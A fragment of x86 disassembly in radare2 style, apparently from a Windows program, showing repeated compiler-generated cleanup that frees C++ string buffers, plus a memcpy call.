lea edx, [ebp - 0x208]
cmp eax, edx
je 0x4e2fe5
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x228]
lea edx, [ebp - 0x220]
cmp eax, edx
je 0x4e2ffd
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x240]
lea edi, [ebp - 0x238]
cmp eax, edi
je 0x4e3015
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x1c8]
lea edx, [ebp - 0x1c0]
cmp eax, edx
je 0x4e302d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x1e0]
lea edi, [ebp - 0x1d8]
cmp eax, edi
je 0x4e3045
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x160]
cmp eax, edx
je 0x4e305d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x180]
lea edi, [ebp - 0x178]
cmp eax, edi
je 0x4e3075
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 0x100]
cmp eax, edx
je 0x4e308d
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x120]
lea edx, [ebp - 0x118]
cmp eax, edx
je 0x4e30a5
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0xa8]
lea edx, [ebp - 0xa0]
cmp eax, edx
je 0x4e30bd
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0xc0]
lea edi, [ebp - 0xb8]
cmp eax, edi
je 0x4e30d5
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x40]
cmp eax, edx
je 0x4e30e7
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x60]
lea edi, [ebp - 0x58]
cmp eax, edi
je 0x4e30f9
mov dword [esp], eax
call fcn.004e0b90
call fcn.00405780
mov ebx, eax
mov eax, dword [ebp - 0x288]
lea edx, [ebp - 0x280]
cmp eax, edx
je 0x4e3118
mov dword [esp], eax
call fcn.004e0b90
mov eax, dword [ebp - 0x2a0]
lea edx, [ebp - 0x298]
cmp eax, edx
jne 0x4e2bb2
jmp 0x4e2bba
lea eax, [ebp - 0x7e4]
lea ecx, [ebp - 0x570]
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004c4000
mov edx, dword [ebp - 0x7e4]
push ecx
push ecx
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x568], edx
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x4e2453
movzx eax, byte [edi]
mov byte [ebp - 0x568], al
jmp 0x4e2453
lea eax, [ebp - 0x568]
jmp 0x4e3161
mov dword [esp], 0x4ec08e
call fcn.004da9d0
mov ebx, eax
mov eax, dword [ebp - 0x570]
lea edi, [ebp - 0x568]
cmp eax, edi
je 0x4e22d9
mov dword [esp], eax
call fcn.004e0b90
jmp 0x4e22d9